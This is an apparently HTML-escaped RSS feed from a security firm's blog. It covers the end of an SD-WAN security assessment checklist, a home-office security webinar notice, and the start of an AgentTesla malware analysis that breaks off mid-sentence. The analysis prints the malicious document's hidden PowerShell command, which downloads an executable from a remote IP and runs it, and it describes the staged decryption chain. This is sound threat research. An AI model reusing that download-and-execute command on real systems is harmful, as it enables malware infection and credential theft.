&lt;ul>
&lt;li>Are there any differences between virtual and physical devices?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How does a network device discover a controller, orchestrator and other entities?&lt;/li>
&lt;li>How do network devices, the controller, and the orchestrator authenticate each other?&lt;/li>
&lt;li>How is trust provisioned and what mechanisms are used? One-time tokens, X.509 certificates, login and password, pre-shared keys?&lt;/li>
&lt;li>How do re-discovering or re-joining mechanisms work?&lt;/li>
&lt;/ul>
&lt;h3 id="cryptography">Cryptography&lt;/h3>
&lt;ul>
&lt;li>Which cryptographic protocols and implementations are used on the data plane?&lt;/li>
&lt;li>Which cryptographic protocols and implementations are used on the control plane?&lt;/li>
&lt;li>Is authenticated encryption with associated data (AEAD) ciphers supported?&lt;/li>
&lt;li>How is the key management implemented?&lt;/li>
&lt;li>How consistent are the security levels of the various protocols and primitives?&lt;/li>
&lt;li>Look for legacy primitives like DES, 3DES, RC4, MD5, SHA1 or custom primitives.&lt;/li>
&lt;li>Is it possible to control cryptographic mechanisms (e.g., enable TLS 1.3 only, disable unwanted ciphers, etc.)?&lt;/li>
&lt;li>Run a TLS scanner (e.g., &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://testssl.sh/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">testssl.sh&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.ssllabs.com/ssltest/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SSL&lt;/span>
&lt;/a>&lt;a
href="https://www.ssllabs.com/ssltest/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Labs&lt;/span>
&lt;/a>&lt;a
href="https://www.ssllabs.com/ssltest/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">server&lt;/span>
&lt;/a>&lt;a
href="https://www.ssllabs.com/ssltest/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">scanner&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/nabla-c0d3/sslyze"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">sslyze&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, etc.) against TLS-enabled interfaces and assess the results.&lt;/li>
&lt;li>Run an SSH scanner (e.g., &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/mozilla/ssh_scan"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ssh_scan&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
) against SSH-enabled interfaces.&lt;/li>
&lt;li>Which type of Public Key Infrastructure (PKI) is used?
&lt;ul>
&lt;li>Are the certificates self-signed?&lt;/li>
&lt;li>Is an external Certificate Authority (CA) engaged?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If ECC is used, is the security level sufficient?&lt;/li>
&lt;li>Does the solution make use of IPSec?
&lt;ul>
&lt;li>Check the parameters like Diffie-Hellman (DH) group, Perfect Forward Secrecy (PFS), aggressive mode usage.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="secure-communications">Secure Communications&lt;/h3>
&lt;ul>
&lt;li>Which protocols are used between orchestrator, controller, and edge devices?
&lt;ul>
&lt;li>Are these standardized or proprietary protocols?&lt;/li>
&lt;li>Are they secured by encryption, integrity protection and authentication?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How do SD-WAN entities authenticate each other?&lt;/li>
&lt;li>Run a network sniffer (e.g. tcpdump) on each node (orchestrator, controller, edge router), review traffic and check whether unencrypted sensitive packets are sent.&lt;/li>
&lt;li>Do the chosen protocols and primitives provide the security required by your threat model?&lt;/li>
&lt;li>Where and how are secrets (e.g., private keys, pre-shared keys, tokens) stored?&lt;/li>
&lt;li>Check whether the same hard coded certificate is used on different deployments.&lt;/li>
&lt;li>Is a key renewal mechanism supported on control channels?&lt;/li>
&lt;/ul>
&lt;h3 id="web--management-interface">(Web-) Management Interface&lt;/h3>
&lt;ul>
&lt;li>How is Authentication, Authorization, and Accounting (AAA) realized?
&lt;ul>
&lt;li>Is Multi-Factor Authentication (MFA) used?&lt;/li>
&lt;li>Who has access to the management interface?&lt;/li>
&lt;li>Check for an Role Based Access Control (RBAC) model.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Conduct a web application security assessment.
&lt;ul>
&lt;li>Especially check for OWASP Top 10 and known CVE&amp;rsquo;s.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Are cryptographic secrets accessible via the web interface?&lt;/li>
&lt;/ul>
&lt;p>Unfortunately there are nearly no tools which are primarily specializing in SD-WAN security and are still updated.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>To sum it up, it can be said that SD-WAN technologies are still in a development state and therefore likely suffer from teething troubles. For the beginning the aforementioned checklist will help with an initial security assessment. Still, the actual implementation of a SD-WAN solution might contain more components than mentioned in this article and therefore the total security assessment might need to be extended.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SD-WAN&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">New&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hope&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Project&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">DELTA:&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SDN&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SECURITY&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">EVALUATION&lt;/span>
&lt;/a>&lt;a
href="https://github.com/seungsoo-lee/DELTA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">FRAMEWORK&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.blackhat.com/docs/us-16/materials/us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-16/materials/us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-16/materials/us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ATTACKING&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-16/materials/us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SDN&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-16/materials/us-16-Yoon-Attacking-SDN-Infrastructure-Are-We-Ready-For-The-Next-Gen-Networking.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">INFRASTRUCTURE&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://fxiao.me/files/defcon26.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">4&lt;/span>
&lt;/a>&lt;a
href="https://fxiao.me/files/defcon26.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://fxiao.me/files/defcon26.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">HACKING&lt;/span>
&lt;/a>&lt;a
href="https://fxiao.me/files/defcon26.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">THE&lt;/span>
&lt;/a>&lt;a
href="https://fxiao.me/files/defcon26.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BRAIN&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Gray-FlowFuzz-A-Framework-For-Fuzzing-OpenFlow-Enabled-Software-And-Hardware-Switches.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">5&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Gray-FlowFuzz-A-Framework-For-Fuzzing-OpenFlow-Enabled-Software-And-Hardware-Switches.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Gray-FlowFuzz-A-Framework-For-Fuzzing-OpenFlow-Enabled-Software-And-Hardware-Switches.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">FlowFuzz&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.abusedbits.com/2017/01/modern-network-areas-in-software-defined.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">6&lt;/span>
&lt;/a>&lt;a
href="http://www.abusedbits.com/2017/01/modern-network-areas-in-software-defined.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://www.abusedbits.com/2017/01/modern-network-areas-in-software-defined.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">modern-network-areas-in-software-defined&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">7&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SDN&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">vs&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">NFV&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">comparison&lt;/span>
&lt;/a>&lt;a
href="http://www.fiber-optic-equipment.com/wp-content/uploads/2018/07/SDN-vs-NFV-comparison_meitu_1.jpg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">8&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Virtual&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">network&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">functions&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/virtual-network-functions-VNF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">VNF&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">9&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">MEF&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3.0&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SD-WAN&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://searchnetworking.techtarget.com/definition/programmable-network-PN"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/programmable-network-PN"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/programmable-network-PN"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">programmable&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/programmable-network-PN"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">network&lt;/span>
&lt;/a>&lt;a
href="https://searchnetworking.techtarget.com/definition/programmable-network-PN"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(PN)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">by&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Omar&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Flores&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">on&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/MOO6k3RaiwE"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Unsplash.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Home office and IT security in times of COVID-19</title><link>https://www.schutzwerk.com/en/blog/home-office-covid-19/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 17 Apr 2020 13:00:00 +0100</pubDate><category>news</category><category>talk</category><description>
&lt;p>The current situation and the preventive measures taken around the COVID-19 pandemic not only severely restrict public and private life, but also have a major impact on work culture.&lt;/p>
&lt;p>re and more companies are being forced to allow their employees to work from home in order to keep operations running as smoothly as possible despite the restrictions and prohibitions.&lt;/p>
&lt;p>Where otherwise concepts are developed over months, preparations are made and test runs are carried out, home office possibilities must currently be created within a few days. These ad hoc solutions are therefore rarely fully developed and often exhibit considerable deficiencies in the area of IT security. This is also reflected in the significant increase in malware and phishing campaigns, which take advantage of the current situation and thus increasingly target home office employees.&lt;/p>
&lt;p>How these threats can be countered and what each individual can do at home to create a safer working environment was demonstrated by Tobias Arnold in a one-hour webinar on April 17. The presentation was aimed specifically at IT security laypersons and highlighted concrete risks and corresponding measures in four different areas of the home office.&lt;/p></description></item><item><title>Uncovering a Malware Campaign Targeting the Logistics Industry</title><link>https://www.schutzwerk.com/en/blog/covid19malware/</link><author>Philipp Schmied</author><pubDate>Thu, 02 Apr 2020 16:29:10 +0100</pubDate><category>phishing</category><category>attacks</category><description>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>Recent malware campaigns targeting private individuals and organizations quickly
adapted to new spreading methods: Content related to COVID-19 is currently one
of the main ways to distribute spam emails and malicious software &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">[1]&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. This
post outlines how opening a malicious Word document enables an
attacker to conduct industrial espionage.&lt;/p>
&lt;p>This specific malware was likely sent to a selected list of potential victims,
embedded in a document that was attached to a COVID-19-related phishing email.&lt;/p>
&lt;h2 id="the-malware-campaign">The Malware Campaign&lt;/h2>
&lt;p>The campaign most likely started on 2020/03/31 and was rather short lived: The attacking infrastructure has been taken offline two days later. The second stage malware payload was removed from the web server even earlier. This was probably done in order to minimize the infection rate and the &amp;ldquo;noise&amp;rdquo; caused by the infection process. Another reason could be that the attacker(s) found out that the sample was already in the hands of malware researchers, e.g., by receiving traffic from honeypots or by detecting unusual downloads by fingerprinting browser user agents. At the time the analysis has taken place the campaign was still ongoing.&lt;/p>
&lt;p>The actual malware payload was hosted on &lt;code>novaa-ship.com&lt;/code>, a typosquatting
domain for &lt;code>nova-ship.com&lt;/code>, the legitimate domain of the Nova Group. This company is present in the maritime logistics segment. The majority of the possible victims could be companies that are active in the same industry.
However, accounts of government websites and business partners could be
compromised, additionally. This is due to the fact how this malware works.&lt;/p>
&lt;h2 id="introducing-agenttesla">Introducing AgentTesla&lt;/h2>
&lt;p>The AgentTesla malware has been around since 2014. It is based on a subscription model that
provides customers with time limited licenses for the malware, including a web
panel for monitoring and configuration, a converter for Word documents,
as well as technical support &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">[2]&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. According to investigators, more
than 6.300 purchases have been made for this spyware product. Its main purpose
is to steal stored login information and send them to the attacker. Additionally, the
software takes screenshots and monitors keystrokes.
Many users tend to store login information in their browsers
and other software they use on a daily basis. These credentials can be valid for services of the compromised company, but also for services hosted by business partners.
AgentTesla exploits exactly this user behavior.
Hence, one compromised machine can already
suffice to allow attacker(s) to infiltrate an entire organization, as well as
business partners.&lt;/p>
&lt;p>According to MITRE &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">[3]&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
the malware is capable of capturing webcam video
feeds, bypass anti virus products and communicates with the attacker using
HTTP or SMTP.&lt;/p>
&lt;h2 id="technical-analysis">Technical Analysis&lt;/h2>
&lt;p>The complete execution chain has been documented after extensive reverse engineering of the malware
sample. Some aspects of this analysis will be described throughout this
section, structured by the different execution stages.&lt;/p>
&lt;p>Below, a complete overview of the malware execution process, starting from the malicious Word document is shown:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/process_hud8bea0d8c9fc438fa6537439a310dff4_39174_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/process_hud8bea0d8c9fc438fa6537439a310dff4_39174_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/process_hud8bea0d8c9fc438fa6537439a310dff4_39174_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/process.png"
width="1832"
height="1966"
alt="Decryption and Infection Process"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Decryption and Infection Process&lt;/figcaption>
&lt;/figure>
&lt;p>As can be seen, the actual AgentTesla malware is the binary that is
executed in the last stage. All previous stages are only used for
obfuscation, evasion, and persistence.&lt;/p>
&lt;h3 id="first-stage-coviddoc">First Stage: &lt;code>covid.doc&lt;/code>&lt;/h3>
&lt;p>The malicious document is built in a way that tricks users to trigger the execution of an embedded script that launches a PowerShell process:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-powershell" data-lang="powershell">PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command
&lt;span style="color:#ed9d13">&amp;#34;(New-Object System.Net.WebClient).DownloadFile(
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#39;httP://5.189.132.254/yUtro.exe&amp;#39;,
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#39;C:\Users\&amp;lt;User&amp;gt;\AppData\Roaming\chme.exe&amp;#39;);
&lt;/span>&lt;span style="color:#ed9d13"> Start-Process &amp;#39;C:\Users\&amp;lt;User&amp;gt;\AppData\Roaming\chme.exe&amp;#39;&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The script downloads the second stage payload &lt;code>yUtro.exe&lt;/code> from a web server hosted in
Germany and executes the downloaded binary.&lt;/p>
&lt;h3 id="second-stage-yutroexe">Second Stage: &lt;code>yUtro.exe&lt;/code>&lt;/h3>
&lt;p>It turns out that the binary is a .NET executable file that is heavily
obfuscated. Most of its class and method names are randomized. Additionally, the embedded strings are
encoded and only present in plain text during run time. On top of that, the
malware is structured into five additional stages. The code for these stages is
already present in the second stage payload but in encrypted form. This
means that manual reverse engineering and debugging is required in order to
fully uncover the malware&amp;rsquo;s internals.&lt;/p>
&lt;p>In a method called &lt;code>EncodingNameCFXTgOMUsu&lt;/code>, the malware decrypts a stored
resource of the binary using a hard coded AES key. The result is a .NET DLL
file that is loaded with the command &lt;code>Assembly.Load()&lt;/code>. Finally, a method of this
DLL is called with the &lt;code>System.Reflection&lt;/code> member function &lt;code>Invoke()&lt;/code>:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/01_invoke_hu867ace86d672593fc40c8ec54ec1cfb7_15191_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/01_invoke_hu867ace86d672593fc40c8ec54ec1cfb7_15191_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/01_invoke_hu867ace86d672593fc40c8ec54ec1cfb7_15191_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/01_invoke.jpg"
width="614"
height="34"
alt="Invoke Call"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Invoke Call&lt;/figcaption>
&lt;/figure>
&lt;p>The way of decrypting and performing calls into the next stage is the same for all following
stages. The only difference is the cryptographic algorithm used and its key.&lt;/p>
&lt;p>A convenient way to detect and trace this type of behavior is placing
breakpoints on all &lt;code>Invoke()&lt;/code> variants in &lt;code>mscorlib.dll&lt;/code>. Thus, the
execution into the next stage can be easily followed in the debugger.&lt;/p>
&lt;h3 id="third-stage-xcgwgddll">Third Stage: &lt;code>XCGwGD.dll&lt;/code>&lt;/h3>
&lt;p>This stage is basically the same decryption and invocation process all over again,
but using a different payload for the next stage. Below is a screenshot that
demonstrates that the code for the next stage can be found in memory and
identified using the PE Header:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/02_assembly_from_memory_hua466524b1f9d0c125e5dbebc42300435_208239_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/02_assembly_from_memory_hua466524b1f9d0c125e5dbebc42300435_208239_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/02_assembly_from_memory_hua466524b1f9d0c125e5dbebc42300435_208239_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/02_assembly_from_memory.jpg"
width="1275"
height="550"
alt="Memory Layout"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Memory Layout&lt;/figcaption>
&lt;/figure>
&lt;p>Using &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/0xd4d/dnSpy"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
